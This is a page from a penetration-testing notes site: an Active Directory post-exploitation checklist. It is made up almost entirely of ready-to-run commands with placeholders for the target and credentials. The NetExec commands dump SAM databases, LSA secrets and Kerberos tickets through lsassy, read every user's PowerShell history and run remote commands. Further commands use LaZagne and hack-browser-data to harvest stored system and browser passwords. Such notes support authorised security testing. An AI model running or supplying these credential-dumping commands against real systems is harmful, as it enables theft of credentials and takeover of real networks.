> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/active-directory/2.-post-exploitation-checklist.md).

# 2. Post-exploitation checklist

### 1. Post exploitation enumeration

* [ ] **1.1. post-exploitation-checks: initial enumeration**

```bash
# 1. dump the SAM database
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' -d '{{DOMAIN}}'.'{{ROOTDNS}}' --sam
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' --sam --local-auth

# 2. dump the LSA hashes/ kerberos tickets (if applicable)
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' -d '{{DOMAIN}}'.'{{ROOTDNS}}' -M lsassy
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' --local-auth -M lsassy

# 3. view the history file of all users on the system
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' -d '{{DOMAIN}}'.'{{ROOTDNS}}' -M powershell_history
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' --local-auth -M powershell_history

# 4. check your environment variables
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' -d '{{DOMAIN}}'.'{{ROOTDNS}}' -x "cmd /c set"
nxc smb {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' --local-auth -x "cmd /c set"
```

* [ ] **1.2. post-exploitation checks: credential / sensitive information**

```bash
# 1. utilize lazagne.exe to dump credentials from the system
.\LaZagne.exe all

# 2. utilize hack-browser-data.exe to dump browser credentials
.\hack-browser-data.exe
```